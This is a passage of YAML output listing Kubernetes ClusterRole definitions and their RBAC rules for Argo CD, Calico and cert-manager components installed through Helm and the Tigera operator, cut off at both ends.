    - patch
    - update
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:15Z"
    labels:
      app.kubernetes.io/component: application-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-application-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-application-controller
    resourceVersion: "74969"
    uid: b9bf939a-8931-4273-bb95-718a74177922
  rules:
  - apiGroups:
    - '*'
    resources:
    - '*'
    verbs:
    - '*'
  - nonResourceURLs:
    - '*'
    verbs:
    - '*'
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:15Z"
    labels:
      app.kubernetes.io/component: notifications-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-notifications-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-notifications-controller
    resourceVersion: "74971"
    uid: a103e0e1-d739-4b68-95fd-6fbdb524c687
  rules:
  - apiGroups:
    - argoproj.io
    resources:
    - applications
    - appprojects
    verbs:
    - get
    - list
    - watch
    - update
    - patch
  - apiGroups:
    - ""
    resources:
    - configmaps
    - secrets
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
    resourceNames:
    - argocd-notifications-cm
    resources:
    - configmaps
    verbs:
    - get
  - apiGroups:
    - ""
    resourceNames:
    - argocd-notifications-secret
    resources:
    - secrets
    verbs:
    - get
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:15Z"
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-server
    resourceVersion: "74970"
    uid: 2bb7bbdc-5637-4c65-926c-7c66e161b041
  rules:
  - apiGroups:
    - '*'
    resources:
    - '*'
    verbs:
    - delete
    - get
    - patch
  - apiGroups:
    - ""
    resources:
    - events
    verbs:
    - list
    - create
  - apiGroups:
    - ""
    resources:
    - pods
    - pods/log
    verbs:
    - get
  - apiGroups:
    - argoproj.io
    resources:
    - applications
    - applicationsets
    verbs:
    - get
    - list
    - update
    - watch
  - apiGroups:
    - batch
    resources:
    - jobs
    verbs:
    - create
  - apiGroups:
    - argoproj.io
    resources:
    - workflows
    verbs:
    - create
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"rbac.authorization.k8s.io/v1","kind":"ClusterRole","metadata":{"annotations":{},"name":"calico-cni-plugin"},"rules":[{"apiGroups":[""],"resources":["pods","nodes","namespaces"],"verbs":["get"]},{"apiGroups":[""],"resources":["pods/status"],"verbs":["patch"]},{"apiGroups":["crd.projectcalico.org"],"resources":["blockaffinities","ipamblocks","ipamhandles","clusterinformations","ippools","ipreservations","ipamconfigs"],"verbs":["get","list","create","update","delete"]}]}
    creationTimestamp: "2025-09-21T11:09:51Z"
    finalizers:
    - tigera.io/cni-protector
    name: calico-cni-plugin
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821106"
    uid: b5b2b100-18d6-4fb8-80dc-16a90d2707ba
  rules:
  - apiGroups:
    - ""
    resources:
    - pods
    - nodes
    - namespaces
    verbs:
    - get
  - apiGroups:
    - ""
    resources:
    - pods/status
    verbs:
    - patch
  - apiGroups:
    - crd.projectcalico.org
    resources:
    - blockaffinities
    - ipamblocks
    - ipamhandles
    - ipamconfigs
    - clusterinformations
    - ippools
    - ipreservations
    verbs:
    - get
    - list
    - create
    - update
    - delete
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"rbac.authorization.k8s.io/v1","kind":"ClusterRole","metadata":{"annotations":{},"name":"calico-kube-controllers"},"rules":[{"apiGroups":[""],"resources":["nodes"],"verbs":["watch","list","get"]},{"apiGroups":[""],"resources":["pods"],"verbs":["get","list","watch"]},{"apiGroups":["crd.projectcalico.org"],"resources":["ipreservations"],"verbs":["list"]},{"apiGroups":["crd.projectcalico.org"],"resources":["blockaffinities","ipamblocks","ipamhandles"],"verbs":["get","list","create","update","delete","watch"]},{"apiGroups":["crd.projectcalico.org"],"resources":["ippools"],"verbs":["list","watch"]},{"apiGroups":["crd.projectcalico.org"],"resources":["hostendpoints"],"verbs":["get","list","create","update","delete"]},{"apiGroups":["crd.projectcalico.org"],"resources":["clusterinformations"],"verbs":["get","list","create","update","watch"]},{"apiGroups":["crd.projectcalico.org"],"resources":["kubecontrollersconfigurations"],"verbs":["get","create","update","watch"]}]}
    creationTimestamp: "2025-09-21T11:09:51Z"
    name: calico-kube-controllers
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821133"
    uid: af9f2d56-1c0a-4a77-bb2a-84262bf3d372
  rules:
  - apiGroups:
    - ""
    resources:
    - nodes
    - endpoints
    - services
    verbs:
    - watch
    - list
    - get
  - apiGroups:
    - ""
    resources:
    - pods
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - services
    - services/status
    verbs:
    - get
    - list
    - update
    - watch
  - apiGroups:
    - crd.projectcalico.org
    resources:
    - ipreservations
    verbs:
    - list
  - apiGroups:
    - crd.projectcalico.org
    resources:
    - blockaffinities
    - ipamblocks
    - ipamhandles
    - networksets
    - ipamconfigs
    verbs:
    - get
    - list
    - create
    - update
    - delete
    - watch
  - apiGroups:
    - crd.projectcalico.org
    resources:
    - ippools
    verbs:
    - list
    - watch
  - apiGroups:
    - crd.projectcalico.org
    resources:
    - clusterinformations
    verbs:
    - get
    - create
    - update
    - list
    - watch
  - apiGroups:
    - crd.projectcalico.org
    resources:
    - hostendpoints
    verbs:
    - get
    - list
    - create
    - update
    - delete
    - watch
  - apiGroups:
    - crd.projectcalico.org
    resources:
    - kubecontrollersconfigurations
    verbs:
    - get
    - create
    - list
    - update
    - watch
  - apiGroups:
    - crd.projectcalico.org
    resources:
    - tiers
    verbs:
    - create
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"rbac.authorization.k8s.io/v1","kind":"ClusterRole","metadata":{"annotations":{},"name":"calico-node"},"rules":[{"apiGroups":[""],"resourceNames":["calico-cni-plugin"],"resources":["serviceaccounts/token"],"verbs":["create"]},{"apiGroups":[""],"resources":["pods","nodes","namespaces"],"verbs":["get"]},{"apiGroups":["discovery.k8s.io"],"resources":["endpointslices"],"verbs":["watch","list"]},{"apiGroups":[""],"resources":["endpoints","services"],"verbs":["watch","list","get"]},{"apiGroups":[""],"resources":["configmaps"],"verbs":["get"]},{"apiGroups":[""],"resources":["nodes/status"],"verbs":["patch","update"]},{"apiGroups":["networking.k8s.io"],"resources":["networkpolicies"],"verbs":["watch","list"]},{"apiGroups":[""],"resources":["pods","namespaces","serviceaccounts"],"verbs":["list","watch"]},{"apiGroups":[""],"resources":["pods/status"],"verbs":["patch"]},{"apiGroups":["crd.projectcalico.org"],"resources":["globalfelixconfigs","felixconfigurations","bgppeers","bgpfilters","globalbgpconfigs","bgpconfigurations","ippools","ipreservations","ipamblocks","globalnetworkpolicies","globalnetworksets","networkpolicies","networksets","clusterinformations","hostendpoints","blockaffinities","caliconodestatuses"],"verbs":["get","list","watch"]},{"apiGroups":["crd.projectcalico.org"],"resources":["ippools","felixconfigurations","clusterinformations"],"verbs":["create","update"]},{"apiGroups":["crd.projectcalico.org"],"resources":["caliconodestatuses"],"verbs":["update"]},{"apiGroups":[""],"resources":["nodes"],"verbs":["get","list","watch"]},{"apiGroups":["crd.projectcalico.org"],"resources":["bgpconfigurations","bgppeers"],"verbs":["create","update"]},{"apiGroups":["crd.projectcalico.org"],"resources":["blockaffinities","ipamblocks","ipamhandles"],"verbs":["get","list","create","update","delete"]},{"apiGroups":["crd.projectcalico.org"],"resources":["ipamconfigs"],"verbs":["get","create"]},{"apiGroups":["crd.projectcalico.org"],"resources":["blockaffinities"],"verbs":["watch"]},{"apiGroups":["apps"],"resources":["daemonsets"],"verbs":["get"]}]}
    creationTimestamp: "2025-09-21T11:09:51Z"
    finalizers:
    - tigera.io/cni-protector
    name: calico-node
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821098"
    uid: 9aa6f290-c11d-4e5d-bfa5-e7d67f76bcac
  rules:
  - apiGroups:
    - discovery.k8s.io
    resources:
    - endpointslices
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - pods
    - nodes
    - namespaces
    verbs:
    - get
  - apiGroups:
    - ""
    resources:
    - endpoints
    - services
    verbs:
    - watch
    - list
    - get
  - apiGroups:
    - ""
    resources:
    - nodes/status
    verbs:
    - patch
    - update
  - apiGroups:
    - networking.k8s.io
    resources:
    - networkpolicies
    verbs:
    - watch
    - list
  - apiGroups:
    - policy.networking.k8s.io
    resources:
    - adminnetworkpolicies
    - baselineadminnetworkpolicies
    verbs:
    - watch
    - list
  - apiGroups:
    - ""
    resources:
    - pods
    - namespaces
    - serviceaccounts
    verbs:
    - watch
    - list
  - apiGroups:
    - ""
    resources:
    - pods/status
    verbs:
    - patch
  - apiGroups:
    - ""
    resourceNames:
    - calico-cni-plugin
    resources:
    - serviceaccounts/token
    verbs:
    - create
  - apiGroups:
    - ""
    resources:
    - configmaps
    verbs:
    - get
  - apiGroups:
    - crd.projectcalico.org
    resources:
    - bgpconfigurations
    - bgpfilters
    - bgpfilters
    - bgppeers
    - blockaffinities
    - clusterinformations
    - felixconfigurations
    - globalnetworkpolicies
    - globalnetworksets
    - hostendpoints
    - ipamblocks
    - ippools
    - ipreservations
    - networkpolicies
    - networksets
    - stagedglobalnetworkpolicies
    - stagedkubernetesnetworkpolicies
    - stagednetworkpolicies
    - tiers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - crd.projectcalico.org
    resources:
    - caliconodestatuses
    verbs:
    - get
    - list
    - watch
    - update
  - apiGroups:
    - crd.projectcalico.org
    resources:
    - globalbgpconfigs
    - globalfelixconfigs
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - crd.projectcalico.org
    resources:
    - clusterinformations
    - felixconfigurations
    - ippools
    verbs:
    - create
    - update
  - apiGroups:
    - crd.projectcalico.org
    resources:
    - tiers
    verbs:
    - create
  - apiGroups:
    - ""
    resources:
    - nodes
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - crd.projectcalico.org
    resources:
    - blockaffinities
    - ipamblocks
    - ipamconfigs
    - ipamhandles
    verbs:
    - get
    - list
    - create
    - update
    - delete
  - apiGroups:
    - crd.projectcalico.org
    resources:
    - ipamconfigs
    verbs:
    - get
  - apiGroups:
    - crd.projectcalico.org
    resources:
    - blockaffinities
    verbs:
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"rbac.authorization.k8s.io/v1","kind":"ClusterRole","metadata":{"annotations":{},"name":"calico-tier-getter"},"rules":[{"apiGroups":["projectcalico.org"],"resources":["tiers"],"verbs":["get"]}]}
    creationTimestamp: "2025-09-21T11:09:51Z"
    name: calico-tier-getter
    resourceVersion: "524"
    uid: 068d8e70-52ec-4488-966a-034429f2eade
  rules:
  - apiGroups:
    - projectcalico.org
    resources:
    - tiers
    verbs:
    - get
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    creationTimestamp: "2025-10-19T16:12:26Z"
    name: calico-typha
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821084"
    uid: 038fb557-1acb-4ec4-8beb-adedf56c7391
  rules:
  - apiGroups:
    - discovery.k8s.io
    resources:
    - endpointslices
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - pods
    - nodes
    - namespaces
    verbs:
    - get
  - apiGroups:
    - ""
    resources:
    - endpoints
    - services
    verbs:
    - watch
    - list
    - get
  - apiGroups:
    - ""
    resources:
    - nodes/status
    verbs:
    - patch
    - update
  - apiGroups:
    - networking.k8s.io
    resources:
    - networkpolicies
    verbs:
    - watch
    - list
  - apiGroups:
    - policy.networking.k8s.io
    resources:
    - adminnetworkpolicies
    - baselineadminnetworkpolicies
    verbs:
    - watch
    - list
  - apiGroups:
    - ""
    resources:
    - pods
    - namespaces
    - serviceaccounts
    verbs:
    - watch
    - list
  - apiGroups:
    - ""
    resources:
    - pods/status
    verbs:
    - patch
  - apiGroups:
    - crd.projectcalico.org
    resources:
    - bgpconfigurations
    - bgppeers
    - bgpfilters
    - blockaffinities
    - caliconodestatuses
    - clusterinformations
    - felixconfigurations
    - globalnetworkpolicies
    - stagedglobalnetworkpolicies
    - networkpolicies
    - stagedkubernetesnetworkpolicies
    - stagednetworkpolicies
    - globalnetworksets
    - hostendpoints
    - ipamblocks
    - ippools
    - ipreservations
    - networksets
    - tiers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - crd.projectcalico.org
    resources:
    - globalbgpconfigs
    - globalfelixconfigs
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - crd.projectcalico.org
    resources:
    - clusterinformations
    - felixconfigurations
    - ippools
    verbs:
    - create
    - update
  - apiGroups:
    - crd.projectcalico.org
    resources:
    - tiers
    verbs:
    - create
  - apiGroups:
    - ""
    resources:
    - nodes
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - crd.projectcalico.org
    resources:
    - blockaffinities
    - ipamblocks
    - ipamhandles
    verbs:
    - get
    - list
    - create
    - update
    - delete
  - apiGroups:
    - crd.projectcalico.org
    resources:
    - ipamconfigs
    verbs:
    - get
  - apiGroups:
    - crd.projectcalico.org
    resources:
    - blockaffinities
    verbs:
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cainjector
      app.kubernetes.io/component: cainjector
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cainjector
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-cainjector
    resourceVersion: "220069"
    uid: 71c0117b-c381-41bc-806d-2ea0dacd64f8
  rules:
  - apiGroups:
    - cert-manager.io
    resources:
    - certificates
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - secrets
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - events
    verbs:
    - get
    - create
    - update
    - patch
  - apiGroups:
    - admissionregistration.k8s.io
    resources:
    - validatingwebhookconfigurations
    - mutatingwebhookconfigurations
    verbs:
    - get
    - list
    - watch
    - update
    - patch
  - apiGroups:
    - apiregistration.k8s.io
    resources:
    - apiservices
    verbs:
    - get
    - list
    - watch
    - update
    - patch
  - apiGroups:
    - apiextensions.k8s.io
    resources:
    - customresourcedefinitions
    verbs:
    - get
    - list
    - watch
    - update
    - patch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
      rbac.authorization.k8s.io/aggregate-to-cluster-reader: "true"
    name: cert-manager-cluster-view
    resourceVersion: "220067"
    uid: 5555376e-952d-453e-9a24-ad1e1bba5bde
  rules:
  - apiGroups:
    - cert-manager.io
    resources:
    - clusterissuers
    verbs:
    - get
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: cert-manager
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-controller-approve:cert-manager-io
    resourceVersion: "220068"
    uid: e48a9265-6a56-4d1e-b483-068deb47c2bb
  rules:
  - apiGroups:
    - cert-manager.io
    resourceNames:
    - issuers.cert-manager.io/*
    - clusterissuers.cert-manager.io/*
    resources:
    - signers
    verbs:
    - approve
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-controller-certificates
    resourceVersion: "220062"
    uid: 98eaf449-68d6-4fd3-be67-185ce997922a
  rules:
  - apiGroups:
    - cert-manager.io
    resources:
    - certificates
    - certificates/status
    - certificaterequests
    - certificaterequests/status
    verbs:
    - update
    - patch
  - apiGroups:
    - cert-manager.io
    resources:
    - certificates
    - certificaterequests
    - clusterissuers
    - issuers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - cert-manager.io
    resources:
    - certificates/finalizers
    - certificaterequests/finalizers
    verbs:
    - update
  - apiGroups:
    - acme.cert-manager.io
    resources:
    - orders
    verbs:
    - create
    - delete
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - secrets
    verbs:
    - get
    - list
    - watch
    - create
    - update
    - delete
    - patch
  - apiGroups:
    - ""
    resources:
    - events
    verbs:
    - create
    - patch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: cert-manager
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-controller-certificatesigningrequests
    resourceVersion: "220064"
    uid: dccaf13b-0365-43c1-9183-60139bd60568
  rules:
  - apiGroups:
    - certificates.k8s.io
    resources:
    - certificatesigningrequests
    verbs:
    - get
    - list
    - watch
    - update
  - apiGroups:
    - certificates.k8s.io
    resources:
    - certificatesigningrequests/status
    verbs:
    - update
    - patch
  - apiGroups:
    - certificates.k8s.io
    resourceNames:
    - issuers.cert-manager.io/*
    - clusterissuers.cert-manager.io/*
    resources:
    - signers
    verbs:
    - sign
  - apiGroups:
    - authorization.k8s.io
    resources:
    - subjectaccessreviews
    verbs:
    - create
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-controller-challenges
    resourceVersion: "220059"
    uid: d620a9db-5ae4-485b-8499-7ba7dcbdb396
  rules:
  - apiGroups:
    - acme.cert-manager.io
    resources:
    - challenges
    - challenges/status
    verbs:
    - update
    - patch
  - apiGroups:
    - acme.cert-manager.io
    resources:
    - challenges
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - cert-manager.io
    resources:
    - issuers
    - clusterissuers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - secrets
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - events
    verbs:
    - create
    - patch
  - apiGroups:
    - ""
    resources:
    - pods
    - services
    verbs:
    - get
    - list
    - watch
    - create
    - delete
  - apiGroups:
    - networking.k8s.io
    resources:
    - ingresses
    verbs:
    - get
    - list
    - watch
    - create
    - delete
    - update
  - apiGroups:
    - gateway.networking.k8s.io
    resources:
    - httproutes
    verbs:
    - get
    - list
    - watch
    - create
    - delete
    - update
  - apiGroups:
    - route.openshift.io
    resources:
    - routes/custom-host
    verbs:
    - create
  - apiGroups:
    - acme.cert-manager.io
    resources:
    - challenges/finalizers
    verbs:
    - update
  - apiGroups:
    - ""
    resources:
    - secrets
    verbs:
    - get
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-controller-clusterissuers
    resourceVersion: "220060"
    uid: e5da18e6-a62a-4617-9649-652c504bd813
  rules:
  - apiGroups:
    - cert-manager.io
    resources:
    - clusterissuers
    - clusterissuers/status
    verbs:
    - update
    - patch
  - apiGroups:
    - cert-manager.io
    resources:
    - clusterissuers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - secrets
    verbs:
    - get
    - list
    - watch
    - create
    - update
    - delete
  - apiGroups:
    - ""
    resources:
    - events
    verbs:
    - create
    - patch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-controller-ingress-shim
    resourceVersion: "220066"
    uid: 4bfbea97-0708-4532-96ff-1ec0dbae5ce1
  rules:
  - apiGroups:
    - cert-manager.io
    resources:
    - certificates
    - certificaterequests
    verbs:
    - create
    - update
    - delete
  - apiGroups:
    - cert-manager.io
    resources:
    - certificates
    - certificaterequests
    - issuers
    - clusterissuers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - networking.k8s.io
    resources:
    - ingresses
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - networking.k8s.io
    resources:
    - ingresses/finalizers
    verbs:
    - update
  - apiGroups:
    - gateway.networking.k8s.io
    resources:
    - gateways
    - httproutes
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - gateway.networking.k8s.io
    resources:
    - gateways/finalizers
    - httproutes/finalizers
    verbs:
    - update
  - apiGroups:
    - ""
    resources:
    - events
    verbs:
    - create
    - patch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-controller-issuers
    resourceVersion: "220061"
    uid: 3d0fb3c9-0589-4389-81d6-4e7081603a20
  rules:
  - apiGroups:
    - cert-manager.io
    resources:
    - issuers
    - issuers/status
    verbs:
    - update
    - patch
  - apiGroups:
    - cert-manager.io
    resources:
    - issuers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - secrets
    verbs:
    - get
    - list
    - watch
    - create
    - update
    - delete
  - apiGroups:
    - ""
    resources:
    - events
    verbs:
    - create
    - patch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-controller-orders
    resourceVersion: "220065"
    uid: 7cd022ad-0885-4710-a250-8b197bfb3396
  rules:
  - apiGroups:
    - acme.cert-manager.io
    resources:
    - orders
    - orders/status
    verbs:
    - update
    - patch
  - apiGroups:
    - acme.cert-manager.io
    resources:
    - orders
    - challenges
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - cert-manager.io
    resources:
    - clusterissuers
    - issuers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - acme.cert-manager.io
    resources:
    - challenges
    verbs:
    - create
    - delete
  - apiGroups:
    - acme.cert-manager.io
    resources:
    - orders/finalizers
    verbs:
    - update
  - apiGroups:
    - ""
    resources:
    - secrets
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - events
    verbs:
    - create
    - patch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
      rbac.authorization.k8s.io/aggregate-to-admin: "true"
      rbac.authorization.k8s.io/aggregate-to-edit: "true"
    name: cert-manager-edit
    resourceVersion: "220063"
    uid: 765078a5-ec6e-4860-b0a5-3e60d001bb04
  rules:
  - apiGroups:
    - cert-manager.io
    resources:
    - certificates
    - certificaterequests
    - issuers
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
  - apiGroups:
    - cert-manager.io
    resources:
    - certificates/status
    verbs:
    - update
  - apiGroups:
    - acme.cert-manager.io
    resources:
    - challenges
    - orders
    verbs:
    - create
    - delete
    - deletecollection
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
      rbac.authorization.k8s.io/aggregate-to-admin: "true"
      rbac.authorization.k8s.io/aggregate-to-cluster-reader: "true"
      rbac.authorization.k8s.io/aggregate-to-edit: "true"
      rbac.authorization.k8s.io/aggregate-to-view: "true"
    name: cert-manager-view
    resourceVersion: "220070"
    uid: f091957c-888a-4803-a762-2fbf9dd5b047
  rules:
  - apiGroups:
    - cert-manager.io
    resources:
    - certificates
    - certificaterequests
    - issuers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - acme.cert-manager.io
    resources:
    - challenges
    - orders
    verbs:
    - get
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRole
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: webhook
      app.kubernetes.io/component: webhook
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: webhook
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-webhook:subjectaccessreviews
    resourceVersion: "220058"
    uid: 3bd90b1a-c86f-4c11-8edd-76f8ccd06e5b
  rules:
  - apiGroups:
    - authorization.k8s.io
